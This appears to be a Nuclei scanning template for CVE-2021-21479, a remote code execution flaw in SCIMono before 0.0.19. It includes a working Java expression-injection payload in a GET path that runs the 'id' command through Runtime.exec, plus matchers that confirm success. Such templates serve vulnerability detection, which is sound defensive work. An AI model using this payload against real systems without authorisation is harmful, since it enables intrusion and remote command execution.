46 lines
1.6 KiB
YAML
46 lines
1.6 KiB
YAML
id: CVE-2021-21479
|
|
|
|
info:
|
|
name: SCIMono <0.0.19 - Remote Code Execution
|
|
author: dwisiswant0
|
|
severity: critical
|
|
description: |
|
|
SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and
|
|
execute java expressions and compromise the availability and integrity of the system.
|
|
remediation: |
|
|
Upgrade SCIMono to version 0.0.19 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-21479
|
|
- https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
|
|
cvss-score: 9.1
|
|
cve-id: CVE-2021-21479
|
|
cwe-id: CWE-74
|
|
epss-score: 0.00242
|
|
epss-percentile: 0.61855
|
|
cpe: cpe:2.3:a:sap:scimono:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: sap
|
|
product: scimono
|
|
tags: cve,cve2021,scimono,rce
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "The attribute value"
|
|
- "java.lang.UNIXProcess@"
|
|
- "has invalid value!"
|
|
- '"status" : "400"'
|
|
condition: and
|
|
|
|
# digest: 4b0a00483046022100cde95356146780739d1e40feaff073d7fe62484f054a236a6224277056bd0551022100e4769aaf7f1c2e12c1830856bd00caaf832ac425916717a79ea6886f0d484d33:922c64590222798bb761d5b6d8e72950
|